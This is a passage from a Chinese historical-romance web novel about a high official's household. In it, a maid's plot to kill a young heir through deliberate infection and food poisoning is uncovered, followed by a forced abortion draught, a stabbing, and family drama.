正在这时,身为殿帅的朱维站起身,指着李贺笑道:“你倒会来,分明自己想喝,一盏又一盏地来,咱们陆院还一杯未碰呢,他就慌了,生怕人跟他抢似的。”
一语毕,席间众武将朗声大笑起来。
陆铭章亦笑道:“李大人的盛情浓,酒意更浓。”
众人都知李贺是个好酒的,从前有朝食饮酒的习惯,直到有一次陆铭章传他前去问话,人还未至,就闻得他一身酒气,气得陆铭章的脸色当场沉了下去。
因顾着他的脸面,没责他,但有了那一次,李贺再不敢朝食饮酒了,只在下值后尽饮。
陆铭章示意李贺坐回,然后站起,举杯,再将杯中酒倾于地上,声音沉浑:“这头一盏,敬我大衍埋骨沙场的英灵。”
众将齐刷刷起身,神色凛然,默然将杯中酒浇入地面。
一旁的李贺从侍女手中接过酒,亲身为陆铭章续上。
陆铭章再举杯,说道:“这第二盏,敬列位同袍,没有诸位勠力同心,舍生忘死,何来我大衍今日的太平基业,满饮此杯!”
空杯再满,众人共举,一饮而尽。
接下来,席间不时有人趋步前来向陆铭章敬酒,他都一一饮了。
三巡已过,众人已有了七八分醉意,李贺酡红着脸,低下头,挨近陆铭章说道:“大人,下月演练,给您留了最好的看台。”
此时一旁的侍女上前欲斟酒,陆铭章将手往杯口虚晃一下,那侍女明白其意,执壶退到一边。
“给我留最好的看台,不如去你那指挥旗下见识见识。”
李贺哪有不应的道理。
不知吃到几更天筵席方散。
李贺见天晚了,想要留人:“夜寒露重,大人不如就在卑职府上歇下,且下属已叫人整出一间房。”
陆铭章揉了揉额穴,摆手道:“李大人的好意,本院心领了,得回去……”
李贺暗道,他们这位陆相,说起来同他们年岁相当,指不定还小个一两岁,严整不苟的作风却总让人忽略掉他的真实年纪。
这还不算奇,最奇的是三十年岁竟无妻妾,清汤寡水的像那观里的道士。
他想着今儿把人留下来,夜里送个美人儿进屋伺候,谁知再三留不住,这才恍然,他们这位上司前些时房里收人了。
当下不再苦留,一众人将他送上轿舆,虽有护卫跟随,李贺仍派了几名小厮跟轿提灯。<
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br>众将见他远去,方回院再喝第二场。
……
陆铭章在席间喝得有些多,他本人的酒量是不错的,却也架不住众人轮番敬酒。
轿舆在一方居阶前落下,长安于轿外唤了一声,轿里安静片刻,而后是一声闷叹。
陆铭章下了轿,提起衣摆拾级而上。
屋里亮着灯,丫鬟们来去往沐房备水。
进屋后,陆铭章往里间探看一眼,不见戴缨出来,想她已睡下,他曾说,若他晚归,她不必候等,可自行歇息。
于是收回眼,转身去了帷屏内盥沐。
香汤将酒意驱散了不少,从浴桶起身,换好一身干净的寝衣,也不叫丫鬟们给他烘干湿发,径直去了里间的卧房。
当陆铭章揣着一颗温热微醉的心看到的是寒帐冷榻时,转身走出去,问正在收捡沐间的下人。
“她人呢?”
丫鬟们都知道这个“她”指的谁,其中一人赶紧上前道:“回大人的话,姨娘已在侧屋歇下……”
不待丫鬟继续说,陆铭章已出了房门,行到斜对面的侧屋,推门而入。
屋内只留了一盏细烛,里外两间通一枝残烛映亮,门扇开阖间带起一阵风,将本就微弱的火光牵扯得明明灭灭。
陆铭章立于外间,胸口堵了浊气,他让她日后宿在主屋,她怎么又跑回侧屋。
难不成她也行起那恃宠而骄的姿性来,等他来请她?
酒意含混,他抬步往里间走去,面上神色不快,可那脚下的步子却诚实地反映了内心,轻着,小心着,没有声息。
床帐半掩,衾被隆起,显现卧的人影,他将脚步更加放轻,放缓,再去看,发现那榻上似乎不止一人。
脑子里嗡的一声响,把醉意散了个干干净净,两步上前,将床上之人露在外的胳膊一拉。
就在戴缨转醒的同时,陆铭章看清了床里的小陆崇。
戴缨睁着惺忪睡眼,怔了一会儿,稍稍欠起身,又看了一眼身旁的陆崇,再从床上坐起。
“他怎么在这儿?”陆铭章糊涂了。
戴缨见他身上有酒息,竖起一指,放到唇间比了比,披了一件外衫,趿鞋下榻,出到外间,陆铭章随在身后。
“怎么回事?”
戴缨走到桌边,倒了一盏茶,就在陆铭章准备伸手接过时,才发现她是给她自己倒的。
“三爷院里的莲心有了,崇儿不愿在那边,说……”戴缨也不知该怎么说下去。
“他说什么?”陆铭章问道。
“他叫人把莲心送走,否则他不回行鹿轩,日后就住在一方居。”
陆铭章听后,哼了一声:“小小年纪,如此桀逆,这还了得,难不成他老子这辈子只他一个儿子?”
戴缨走到陆铭章身侧,示意他小声。
“我倒觉着此事有些蹊跷。”
“哪里蹊跷?”
戴缨把今日陆崇闹肚子一节说了:“那些东西都是莲心喂给他的,屋里本没人,若不是被一个小丫头撞见,这事就被晃过去了。”
“好在及时寻了大夫来,先是催吐,扎了几针,吃过药,这才好了。”
戴缨说着,坐到陆铭章身侧,又道:“还有,先时在行鹿轩,无论旁人如何引他说话,他都不开口,都以为他耍脾气呢,又或是身上不适,我瞧着有些异样,晚间他睡在我身旁,我再问,他倒是说了些事情……”
第114章 心跳不受控
陆崇不愿回行鹿轩,还扬言,不把莲心赶走,他就不回行鹿轩。
要说这莲心不过一个通房,连妾室都算不上,家里的小主人不喜,打发出府也容易,可问题是莲心自称有了身孕。
只是月份尚早,未能诊断出来,得过些时日才能确诊。
晚间戴缨带他睡到侧屋,本欲让归雁在屋里看护,偏陆崇不愿,非叫戴缨陪他。
戴缨只好应下。
结果等她躺下,陆崇欢喜得不睡,一会儿蹦跶起,一会儿又躺下,一会儿爬到床尾,一会儿又翻到床头,开心得乐呵呵。
最后又把被子堆在一起,像围起了一个小小的安全的屋子,他坐在里面。
戴缨怕他这么闹下去,一夜不好睡,于是哄着他睡下,给他讲故事。
谁知讲了一会儿,反把自己的瞌睡引来了,那孩子仍精精神神的。
“姐姐,我同你说……”小陆崇躺在戴缨身侧,摇了摇她的手臂。
戴缨游走在梦境边缘,含糊着应了一声。
小陆崇的声音继续传入她的耳中:“那糕点是莲心强喂我吃的,我不吃,她……”
听到这里,戴缨骤然转醒,睁瞪着眼,问:“什么?糕点是莲心强塞你吃的?”
陆崇点了点头:“她想我死,我若回去,她还要杀我。”
戴缨把这些话学给了陆铭章。
陆铭章听后半晌不说话,他考虑事情往往想得更多。
对于小陆崇的话,无非就两种情况,一,莲心真如他所说的那样,想置他于死地。
二、这孩子在撒谎,至于为什么撒谎,兴是见莲心怀了孩子,他不喜,于是想方设法地想把人撵走。
陆铭章看向戴缨,说道:“你随我过去,这屋里叫个丫头守着。”
“那怎么成,他若醒来见不着我,怎么办?”戴缨想了想说道,“妾身适才说的……”
“这些事待明日再说,你真不随我过去?”陆铭章又问。
戴缨点了点头:“大人去罢。”
陆铭章一声不言语地转身离开。
夜里,陆铭章卧在榻上辗转反侧,怀里本该有个人的,这会儿却是空的,叫他很不习惯。
从前那么些年,自己不也这样过来了,怎么这会儿像是离不得。
陆铭章再侧身,背朝里,面朝外,闭眼睡去,然而刚闭下的眼再次睁开,起身,披衣,下榻,一气呵成。
这方戴缨刚刚潜入梦里,开门的声响将她惊醒,在她还未反应过来时,陆铭章已走到榻边,将她连人带被打横抱起,往外走去。
“大人这是做什么?崇哥儿还在榻上。”戴缨急说道。
“你是操得哪门子心,又不是你我的孩儿,叫你如此上心,先把你抱过去,一会儿我再来抱他。”
陆铭章这么一说,戴缨也就不说什么了。
他将她放到榻上后,真就重回侧屋把陆崇抱了来,陆崇懵怔着一双睡眼把抱着他的人看了又看。
反复确认抱着他的人是他大伯还是他爹,直到看见戴缨,才通过戴缨确认,刚才抱他的人是他大伯。
架子床整阔,两大一小睡着绰绰有余。
陆崇坐在床上,眨了眨眼,看向陆铭章,乖乖地叫了一声:“大伯。”
陆铭章摸了摸他的小脑袋,说道:“崇儿乖,你安心睡,有大伯在,不用怕,大伯给你查清楚。”
陆崇眼睛微亮,点了点头,戴缨招呼他睡下,再给他盖上小被。
待小的睡去,两个大人才躺下。
就这么,小的睡里侧,戴缨睡中间,陆铭章睡外侧,各人盖各人的衾被,以一个合洽的方式安然睡去。
次日一早,陆铭章便将陆铭川叫到书房,问了这个事情。
“崇儿说那莲心害他,你怎么说?”
陆铭川沉下一口气,说道:“若是平时,莲心一个奴儿,打发也就打发了,只是如今她肚子里有了,我也难办。”
接着又道,“崇儿这孩子大哥也知道,在我母亲身边养了几年,脾性有些古怪。”
这话里的意思便是,自己儿子的话不能尽信。
“再说那食物相克,一般人哪能通晓,多半是巧合。”陆铭川继续道。
陆铭章不去管他说的这些,这都是他房里事,直接问结果:“你打算怎么解决?”
陆铭川先往陆铭章面上睃了一眼,开口道:“崇儿不愿回行鹿轩,不如让他在一方居暂住,过些时候叫大夫前来给莲心号脉,再做决断。”
说罢,又追说了一句:“当然,大哥若是不愿,我这就把崇儿接回。”
陆铭章摆了摆手,不愿同陆铭川多说,他很有点看不上这个弟弟的行事作风。
看着挑达不拘,处事却全无章法,一味含糊不清,总在是非界限上模棱两可。
陆铭川退了出去。
陆铭章坐了一会儿,指尖在桌面敲了几下,身子往后,仰靠于椅背,朝外唤了一声,长安推门进入。
“去查,崇哥儿出水疱疹之前,三爷房里的莲心的行踪。”
长安惊了一下,问道:“阿郎认为崇哥儿得疱疹和莲心有关?”
陆铭章点头道:“若崇儿没说谎,莲心真要害他,上次水疱疹多半和她脱不离关系,你去查查。”
长安应诺去了。
午后,陆铭章回了一方居,刚进院中,走了几步,透过半掩的窗扇,见窗后坐着一大一小两人。
两人头凑在一起,微微低着,不知在看什么,落后又在争着什么。
陆铭章没有立马进去,而是在窗外静静地看了一会儿,直到戴缨抬头发现了他,然后用他看她的眼神,回看向他,对着他笑。
陆铭章的心情立时变好,进了屋,走过去,两人并坐于桌后,桌上铺着一张纸,纸边散落了几截炭,原是在画画。
陆崇见了他大伯,起身,理了理衣,像模像样地行了一个礼,陆铭章叫他坐下,他才坐下。
画纸上是粗黑的线条,歪扭着,描画了一个小
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小的“脑袋”,应该是脑袋罢,横着的身体,后面拖了个尾巴,实在看不出是个什么玩意儿。
“画得什么?”陆铭章问道。
戴缨掩嘴笑道:“崇儿说他画的是一匹马,我瞧着不像,倒像是一头哞哞叫的牛。”
陆崇急地从凳子上站起,将纸好好铺整,伸出一指,沿着勾勒的线条,说道:“这是马儿的头,这是马儿的尾巴,姐姐再仔细瞧瞧,多看几眼就像了。”
戴缨越发笑得不能止。
陆铭章俯身细细看了,问道:“大伯帮你修几笔?”
陆崇认真地想了想,点头道:“大伯改也可以,只是莫把我的马儿给毁了。”
“你这马儿毁不了。”戴缨忍笑道。
陆铭章拂袖,从旁拈起一截炭笔,端详了一下这幅稚嫩潦草的画作。
然后开始下笔,他没有覆盖原先的笔触,而是在那些歪斜的线条旁轻轻落下笔尖,顺着原本该是马颈的曲线,勾勒出肌肉的弧度。
落笔干脆利落,线条一气呵成。
就这么来回添改,先开始,甚至辨别不出他画的是什么,因为没有大概的形状,也就一眨眼的工夫,那些线条组成了认知中的马儿某个躯干。
戴缨和陆崇屏息凝神,看着那小小的一截炭笔在纸间挥洒游走,不过一盏茶的工夫,散乱无章的线条,显出形状,成了鬃**如火,四蹄生风,向上的力量的骏马。
一匹挣脱束缚的骏马,仿若下一刻就要腾去而上。
陆铭章掷下炭笔,再用指腹在线条边擦出暗影,使得马儿更生动立体。
戴缨的目光已不在画纸上,而是微微仰起头,停在陆铭章的眉眼间。
她发现他做任何事都特别认真投入,似是觉察到她的目光,他涂抹暗影的那只手仍在继续,却抬起另一只手,先是拍了拍小陆崇的脑袋,再拍了拍她的脑袋。
小陆崇一心只在马儿上,嘴巴惊讶地张着,再满脸崇拜地看向他大伯。
“大伯,我的马儿可以飞了,你把我的马儿变得更好看了。”
陆铭章笑道:“因为有风,所以它活了。”
戴缨一手悄悄地按上胸口,心跳有些不受控。
正在恍神间,小陆崇拉了拉她,说道:“姐姐,你看,我说我画的是马儿,你还不信,这是不是一匹马儿。”
戴缨不服,故意逗他:“这是大人替你画的,不作数,不作数。”
陆崇急得跺了跺脚,耐心解释道:“大伯说他只是给我画了风,我的马儿还在,你看,你再看看,这就是我画的。”
戴缨真就细细去看,再看向陆崇,点了点头,问道:“这是你和你大伯一起完成的?”
“对,我和大伯一起完成的。”陆崇煞有介事地说道。
戴缨拉长声调“嗯”了一声:“这还差不多。”
陆铭章在戴缨面上看了一眼,插话道:“崇儿,大伯不仅会画马儿,还会画鹿儿,要不要大伯画给你看?”
第115章 姐姐抢大伯的被子
小陆崇见陆铭章先是画了一匹威风的马儿,又听他说会画鹿儿,于是开心得欢跳。
“大伯快画鹿儿,崇儿还想要小鹿。”
陆铭章点了点头:“好,那再画一头鹿儿。”
戴缨也想看陆铭章作画,其实不为看画,就为看人,他作画时的神韵太有可观性,见桌上没画纸,遂起身去书案取些来。
谁知刚一起身,就被陆铭章带回座位:“不必,画鹿儿不用纸。”
就在戴缨刚坐回,怔愣间,鼻尖突然一凉,陆铭章在她的鼻头点了点,又在她回转神时,拿开手。
“崇儿,看看你姐姐,像不像小鹿?”陆铭章的声音中透着隐隐的笑意。
陆崇歪着头看了看,咯咯笑出声:“大伯把小鹿变活了。”
戴缨伸手往自己鼻尖摸了摸,拿到眼下一看,黑的。
在陆铭章没有防备时,戴缨起身,挨近他,用指在他的鼻尖也点了一下,嘴角噙着笑:“我是鹿儿,那大人是什么?”
这会儿别说是陆铭章自己,连小陆崇都惊道,姐姐忒大胆,怎敢污他大伯的脸。
陆铭章只怔了一瞬,笑出了声:“你是一头小母鹿,我是公鹿。”
说着俯下身往陆崇鼻尖点了点,满意道:“这里还有一头小鹿王。”
陆崇见自己也变成了鹿儿,还是小鹿王,开心了,拉着戴缨跑到妆台前,看向镜中。
小儿圆乎乎的脸,眼睛大大的,小鼻子上点了黑,很可爱。
旁边的戴缨同他一样,白馥馥的脸,鼻头一点黑,眼睛黑亮,不知是不是刚才笑狠了,两腮红着,这红一直延伸到耳梢。
她回过头,嗔怪了陆铭章一眼,从袖中抽出帕子,虚虚地掩着半张脸,走到门首下,朝外吩咐。
“打盆热水来。”
院里当值的丫头应下,不一会儿打了水来,三人把刚才的玩笑清洗掉。
之后的两日,小陆崇都歇在一方居。
晚间,陆铭章靠坐在床头,手里拿着一卷书,耳边是清软的腔音。
“那年下了好大的雪,黑风呼呼刮着,一个人行在雪地里,走到一处山脚下,他左右看了看,从身后的背篓取出一个布袋……”
陆崇睁大双眼,追问:“那布袋里是什么?!”
戴缨压低声音,显得很神秘:“那布袋里是一个小婴孩。”
“呀——”陆崇把心提到了嗓子眼,“那人要做什么?”
“那人将小婴孩丢在山脚下,然后转身走了。”
小陆崇听后,直接跪坐起来,眉头拧得紧紧的:“这是什么人,畜生不成?那样冷的天,小婴孩儿岂能活下去?好狠的心!”
戴缨怕自己故事一口气讲完,明日又要想新的,遂开口道:“好了,好了,今天就到这里,欲知后事如何,请听下回分解。”
住在一方居的这几日,陆崇睡前都要听戴缨讲一则故事,他已习惯了,也不闹,也不吵,乖乖地躺下。
戴缨给他拉上被子,在颈脖处掖了掖,也跟着躺进了被中。
自打小陆崇睡到主屋,他们三人就是三个被笼,戴缨睡中间,陆崇睡里侧,陆铭章睡外侧。
在戴缨躺下去后不久,陆铭章也放下书卷,熄了灯烛,躺进被中。
幽暗中,戴缨侧过身,睁着清亮的眼看向陆铭章,这人的模样一眼看去淡淡的,可是不论从正面看,还是从侧面看,那张脸上的线条都挑不出半点不好来。
就譬如现在,挺直的鼻梁,却不过分刚毅,整体的轮廓也对味,明明很好的一张脸,怎么就没有那种一眼的惊绝呢?
像谢容那样的,往人群一站,人们就只顾着看他那张脸了,看了脸,再观全身,发现气度同脸是适配的,更添好感。
再说陆铭川,同陆铭章容貌几分相似,给人的感觉却全然不同,恣意、疏狂,他的张扬气更抢人的注意,比之谢容更甚。
可陆铭章不是,就她观得,陆铭章的模样一点也不差,却不抢人眼目。
后来,她悟得了原因,因为他的那双眼,不知是他有意压持,还是真就这样,淡看着,隐沉着,很少流露出丰富的情绪和耀目的流光。
戴缨看了一会儿,悄悄地将手溜进他的被中,很快找到他的手,起了顽心,去把玩他的指,在他的指节上跳跳点点。
然而,下一瞬被他反握住,轻柔柔地捏了捏。
“快睡。”陆铭章说道。
戴缨闭上了眼。
两张衾被,衾被下两人的手合在一处,睡了过去。
次日小陆崇被尿憋醒,爬起身,见旁边的被子空着,戴缨又滚到了他大伯的被中,一面越过他们下榻,一面说道:“姐姐又抢大伯的被子。”
戴缨揉眼醒来,迷迷怔怔地“唔”了一声。
新的一天开始了。
下人们进屋开始伺候主人们梳洗,烟囱里腾起白烟,不一会儿,桌上开始摆上早饭。
陆铭章用**后仍是去了前院,长安将探得的消息一一报知。
“小人已查明清楚,崇哥儿染水疱疹前两日,莲心出了一趟府。”
陆铭章静听着。
“她同府里的管事说,回乡一趟,她老子娘递信来,说是她嫂子要生了,让她回家看一看。”
“小人让人往乡里打探,确实如此,问过她同村人,那日她是回了一趟村,且她嫂子当时确要临盆,午后她便回了。”
陆铭章点了点头,长安接着又道:“这些看起来并无任何异常,不过……”
“说。”
“小人又遣人把那村里的情况探寻了一番,发现了异常,那个村里没过几日**一个人……出水疱疹死的。”长安说道。
陆铭章听后,半晌没言语,然后说道:“让他来。”
长安应下,知道这是让他传知陆铭川前来。
陆铭川到了书房的院子,院中无人,只他兄长立在葡萄架下,这个季节,葡萄架没了繁密的绿叶,只有孤落的藤蔓。
“兄长唤我前来有何事?”陆铭川走上前问道。
陆铭章转过身,拿下巴指了指院中的石桌,陆铭川侧目去看,那桌上有一个纸包,用草绳结着。
就在他疑惑时,陆铭章的声音响起:“这是一包堕胎药。”接着又道:“你让人将它熬煮了,叫那奴才喝下去。”
陆铭川摇了摇头:“兄长为何如此……再怎么说她肚子里也是我的……”
陆铭章把长安探得的情况道了出来。
“你离京外办几年,崇哥儿在你母亲院里养了几年,这几年全
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没一点事,你一回来,才多久,这孩子接连两次险丧命,不是巧合。”
陆铭章继续道,“这种祸害留不得,我念那奴才是你屋的人,这才唤你来,若是依我……她现在已是个**。”
陆铭川的怒火直冲天灵盖,把一双眼烧得发热,他是真没想到,儿子的水疱疹竟是莲心这贱婢害的。
若放平时,不用兄长另外吩咐,他必叫这**走不出院子,然而……
“她自是该死,只是如今疑有身孕,我母亲又一心盼着,如之奈何?”
陆铭川话未说完,陆铭章截断他的话:“所以我这不是替你想了个办法。”
“什么办法?”
“就它。”陆铭章拿下巴指向桌上的药包:“你拿去试一试,她若没怀上,这药就不起作用。”
陆铭川怔怔地开口:“那要是怀上了呢?”
陆铭章走到桌边,提起药包丢向陆铭川:“若是怀了……就打掉……”
“大哥……这算什么办法……”陆铭川以为兄长同他玩笑,可他也清楚,大哥从不玩笑。
“不论她怀了没怀,这孩子都生不下来。”陆铭章说道。
“为何?”陆铭川其实猜到了,仍问了一嘴。
“假若那奴才真怀了,并把孩子生下来,日后你叫崇儿如何自处?”陆铭章又道,“崇儿若是不记事倒还好,大不了处理了那奴才,留下孩子。”
“可崇儿如今已知事,他不愿回你的行鹿轩,这孩子不是你以为的那样好糊弄,他把这份恨意记下,日后兄弟姊妹不睦,闹出事情来,家宅不宁。”
陆铭川并不认同:“崇儿还小,只要向他讲清楚,害他的人是莲心,同弟妹无关,他不会不懂。”
“是么?”
陆铭章不会告诉陆铭川,当年他冲进桂兰院,长安抱着陆铭川随后赶来,在他从长安手里接过长剑时,他的目光是停在陆铭川身上的。
那股杀意被他生生摁了下来。
当时他若真出手,以他们的站位,就是老头儿想阻止都来不及。
曹氏这人毛病一大堆,肤浅、刻薄、无礼无识,但你说她歹毒,害人之心倒没有。
然而这个莲心却是要陆崇的命,且那孩子亲口说莲心如何强行往他嘴里喂塞。
陆铭章没有多言,径直说道:“行了,既然你不愿做恶人,去罢。”
听了这话,陆铭川并没有松下一口气,因为他若不去,兄长自会派人处理。
他不愿做恶人,兄长替他做。
“还是我来。”陆铭川说罢,出了一方居。
桂兰院……
曹氏先是问向一旁的丫鬟:“哥儿还在那边?”
“是。”
“这孩子也太不懂事,莲心肚子里怀的是他的兄弟,真真是小孩儿气,随人去请,他都赌气不回,说什么把莲心赶走了才回,这是什么混帐话。”曹氏叹息道。
“等此事过了,叫他老子好好说教一通。”
一旁的丫鬟应声称是,心里却暗想,那莲心当时那样叫骂,您老气得眼直翻,这会儿态度转得也太快。
曹氏又道:“她那屋里的吃食再精细些,半点差池不能有……”
正说着,一小厮慌慌张张跑了进来:“老夫人,闹人命啦——”
第116章 孩子没了
陆铭川进了桂兰院,把药包丢给下人,让他们将药煎煮出来,下人们拿去厨房,以为那是一包养胎药,照着吩咐煎煮。
近几日,莲心吃得好,睡得好,身上丰盈了不少,自进陆府以来,算是她最舒心的日子。
心里这么想着,嘴里不自觉地哼唱起小曲儿。
正在此时,房门开了,门首下立了一人,莲心一手覆在平坦的小腹,笑吟吟走上前。
“爷快进屋里。”
陆铭川走了进去,反手闭上房门。
“也真是奇,按说这会儿小家伙在肚里还没个形状呢,奴却能感知到那微妙的异样。”
莲心引陆铭川坐下,替他沏茶,丝毫没有注意到哪里不对劲。
“我儿说……”陆铭川启口,也就是这刹那,莲心执盏的手猛地一顿。
陆铭川继续道:“崇儿说是你强喂那两样糕点给他吃的,偏这两样都是你从外买的。”
停顿了一下,又道:“你先是让我儿染了水疱疹,一计不成,又生一计,不将我儿害死,你誓不罢休啊——”
莲心面上先是一白,再堆起笑:“爷说的什么,奴听不明白。”
陆铭川点了点头:“听不明白没关系,反正你的命也只在今日了。”
莲心往后连退两步,一手护住肚腹:“爷要做什么?奴肚子里可是你的种。”
“你欲害我儿性命,岂能留你。”陆铭川站起身。
莲心眼见瞒不过,便拿腹中胎儿说事:“三爷真就狠心,不要这孩子?好歹让我将他生下来。”
正在此时,房门被敲响:“主子,药来了。”
莲心看着那碗汤药,再看向陆铭川的脸,料想这碗药不是要她的命,就是要她腹中孩儿的命。
当下跪在地上哭喊:“都说虎毒不食子,三爷怎的狠心连自家骨肉都不要。”
嘶喊声让屋外的下人听了去,赶紧传到曹老夫人跟前。
曹氏一来,就见桌上放了一碗冒着热气的黑药,再一见莲心跪在地上,质问道:“怎么回事?!”
不待陆铭川回话,那莲心坐在地上,仿若看到救星,哭诉:“三爷他疯了,连自己孩儿也不要。”
曹氏听罢,再看一眼桌上的药碗,不由分说地几步上前,将那药碗打翻在地。
“混账东西,你要她的命我不管,但她肚子里的那个不行!”
陆铭川什么也不解释,只说了一句:“再煮一碗来。”
莲心料想,这会儿只有曹氏能救她,遂一骨碌爬起,奔到曹老夫人身后。
下人们不知该当如何,曹氏气得连拍桌子:“疯了,疯了,你到底要做什么?!”转而又看向屋里的下人,怒喝道,“我看你们谁敢!”
陆铭川扬起比曹氏更大的声调:“煮药来!”
有这一声,下人们哪敢不应,慌得再次去厨房,那药本就熬煮了一大钵,还有多的,不一会儿就端了一碗来。
陆铭川手持药碗,冷声道:“灌下去,再将人移交府衙。”
莲心听后,直接颓坐在地。
没了孩子,她留在陆家就是个死,可移交府衙,她也活不了,想到这里,字句从牙缝蹦出。
“那会儿就该多喂小坏种些‘脏水’,只要他**,我肚子里就是大房的独苗,就算我杀了他,你们看在这孩子的份上,还不是照样得把我供起,又能拿我如何。”
回乡那次,正巧村里有人染了水疱疹,这玩意她儿时得过,不比天花凶狠,却也要命。
当下生出一计,借着探看的借口入到那户人家,趁人不备时用竹筒子盛了点那人饮过的水。
回府后,再将脏水倒给陆崇喝。
她本是抱着试一试的心态,结果这孩子真就染上了。
那会儿,所有人都在忧虑那位小祖宗,只有她心里快意,陆崇昏睡不醒,连药也灌不进去,想来多半活不了了,可谁知那小祖宗又活了过来。
那一次没成,没成就没成罢,近日,她疑心自己有了身孕,杀起又起,势要再下手一回。
不曾想,叫人发现了。
莲心只恨陆崇没能死在自己手里。
而她身侧的曹氏听后,明白了,自家乖孙儿险些丧命原是被这奴才害的,大叫一声,朝莲心扑去。
“好你个下作的,什么腌臜物,竟敢对我孙儿下手,我孙儿是这府里的嫡孙,是宣平候家的亲亲外孙,你肚子里爬出来的能跟他比?”
走到这一步,莲心哪还管那么多,一头撞到曹氏肚上,同曹氏扭打到一起。
下人们急忙将人扯开,就在莲心准备再上前时,陆铭川抬起就是一脚,将她踢倒在地。
就在此时,一下人惊喊道:“血!”
众人去看,就见莲心“哎哟”叫唤,捂着肚子的手上满是血渍,都道是三爷这一脚将腹里的孩子踢没了。
曹氏见了,心底痛恨之余,又是惋惜,然而就在她唉叹老气时,旁边又是一惊,比之刚才更甚。
“血!”
曹氏还在往莲心的肚子上看,她的孙儿啊——
紧接着下人再次叫喊:“老夫人,您肚子上有血……”
曹氏抬起头,见周围之人惊瞪着眼,看着她,不,是看向她的肚子。
她缓缓低下头,薄夹袄的锻面洇染了一大片,湿漉漉的,她再看向自己的手,黏稠的血糊了一手。
接着,眼一翻,往后仰去,昏迷之前才知道,莲心手上的血不是自己的,而是她的。
原是曹氏将药碗扫落在地后,那莲心趁人不备,捡了一块尖碎的瓷片掩在袖中,后来两人扭打,她把瓷片往曹氏肚上捅去。
……
戴缨将小陆崇引到曹氏房里时,大夫刚替她缝合伤口,并开了许多外伤内服的药剂。
好在冬日,衣服穿得厚,伤口虽大,却不算特别深,这一场闹,将陆老夫人和陆铭章都惊了来。
陆老夫人坐在榻沿,宽慰道:“你安心养伤,大夫说了,这伤口虽说不致命,却也要精心养护。”
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曹老夫人眼角湿着,面色不好,嘴唇泛白,却还有力气绘声绘色地描述着当时的凶险。
“老姐姐,我活了这么大把年纪,从未见过这样歹毒之人呐——下狠手不说,还咒崇儿,我哪里听得过,跳起来就跟她厮打。”
曹氏喘了一口粗气,又道:“崇儿是咱们大房的嫡长孙,她算个什么下作胚子。”
陆老夫人见她病人,顺着她的话说道:“仔细伤口,再别动气,崇儿知道你这样护他,定是记在心里的。”
正说着,就见戴缨牵陆崇走了来。
陆老夫人招手道:“崇儿来。”
陆崇先是看了一眼戴缨,戴缨示意他上前,他才走到榻边。
曹氏见了自家乖孙儿,本是没哭的,突然就哭出了声:“我的儿,那下作奴才从前有没有欺负你?你怎么不同祖母早些说?”
陆崇没说话,只是摇了摇头。
“别怕,已叫人把她送去府衙,你再看不见。”
曹氏还待再说,陆老夫人将她止住,“你这会儿要静养,到了这个年纪,万莫引起身体其他的不好来。”
曹氏听后觉着有理,她如今日子过着满意,想长长久久地活下去,于是闭上嘴,再不说什么。
之后,陆崇仍是回了行鹿轩,不知不觉一个新年过完了。
开年后,谢容去海城之前,又来了一趟陆家,这一回陆铭章见了他。
在谢容见到陆铭章的前一夜……
陆铭章更换好寝衣,身上带了一点微热的潮气,走到窗榻边,见戴缨伏于案几,不知在看什么,于是坐到她身侧。
“看这个做什么?”
“大人……”戴缨指向那张舆图中的某个点,问道,“这里标注京都,就是咱们大衍的都城?”
“对。”
“偌大的京都在整个大衍版图也只这样小一块,咱们国家原来这样大呢。”戴缨看向舆图的眼睛泛亮,她适才试着找平谷,找了半天也没找到。
陆铭章往她面上看了一眼,见她很有兴致的模样。
戴缨慨然道:“不知道大衍之外又是什么模样?”说着从舆图上抬起眼,看向陆铭章,“大人从前有无离过大衍国境?”
“从前去过罗扶国。”
“那边的人和咱们一样不一样?”
“一样的,没什么区别。”
戴缨哦了一声,问道:“那说话呢,说话也一样么?”
“并无太大不同,只是口音有些区别。”陆铭章说道,“你想听?”
戴缨笑睁着眼:“大人会说罗扶语?”
陆铭章点了点头,用一种陌生的腔调随口说了一句。
戴缨听了掩嘴笑出声:“真有意思,大人得空了也教教我,怪好听的。”
“好。”陆铭章应下。
戴缨便将注意又放到了舆图上。
陆铭章看着她的侧颜,脸腮上是笑出的红晕,鬼使神差地问了一句:“谢家那小子即将赴往海城,你说,我见是不见……”
第117章 说的什么醋话?
戴缨游走在舆图上的指尖一顿,“嗯”了一声。
“离行前,他必会再来找我,我是见还是不见?”陆铭章问道。
戴缨并未抬眼,目光仍流连于那张舆图之上,嘴里回应着:“见或不见……大人不该问我,那是您女婿,是婉姐儿的夫君,比之阿缨,他才是您正正经经的家人。”
陆铭章一噎,将手放到舆图上,阻隔她的视线,想让她转头看自己,偏戴缨把目光落在他修长的手上,就是不同他对视。
陆铭章不得不捏住她的下颌,将她的脸扳正。
“说的什么醋话?”
戴缨看向陆铭章,再缓缓垂下眼,问道:“不是醋话,只是觉着大人不该问我。”停了一会儿,又道,“倒不像在询问,而是试探。”
陆铭章笑道:“你看看,这就是你多虑了,真心问你。”
“真心问?”
陆铭章“嗯”了一声。
戴缨想了想,说道:“那我若说……想让大人见他一见,大人可依?”
“依。”
戴缨张了张嘴,这会儿倒不知该说什么,再问:“真依?”
陆铭章点了点头
戴缨将挺直的背部放松,把谢容为了自己,以官职威胁戴万如的事情道出。
“不论如何,当时他有意帮我。”
之后她一心想要报复戴万如,不惜拿解救谢容诱骗戴万如,那会儿,正如陆铭章所说,她根本没打算救谢容。
陆铭章说道:“好,我知道了。”
……
次日,谢容递上名帖,进了陆府。
说出来叫人不信,这算是他头一次见陆铭章,自己的岳丈,他连见一面都难。
但他知道,陆铭章既然点头见他,便一定有话交代,其临别赠言绝非简单的家常嘱咐。
桌案上茶烟袅袅,案侧并着一张稍矮的小几,几上摞着书卷,小几的边角上是一顶紫金香炉,兽烟依依升起。
两人对坐于案几,谢容笔挺跪坐,目光微垂,而他对面的陆铭章姿仪端正,周身散着从容的威仪。
陆铭章执杯呷了两口香茶,再将茶盏搁下,谢容很自觉地提壶,为他续上。
陆铭章点了点茶案,开口道:“准备几时出发?”
“回父亲大人的话,行李已整当完毕,明日一早起身。”谢容恭声回道。
陆铭章颔首,再次开口,声音平和却清肃:“此去海城,山高水远,不同于在我眼皮底下,有些话,你要记在心里。”
谢容抬起眼皮,快速地往对面晃了一眼,又快速敛下目光,应声道:“父亲大人请讲。”
“通判一职,上可规谏知州,下可监察属官,掌粮运、家田、水利,乃至刑名诉讼,位不高,权却不轻。”
谢容凝神听着,掌心已渗出薄汗。
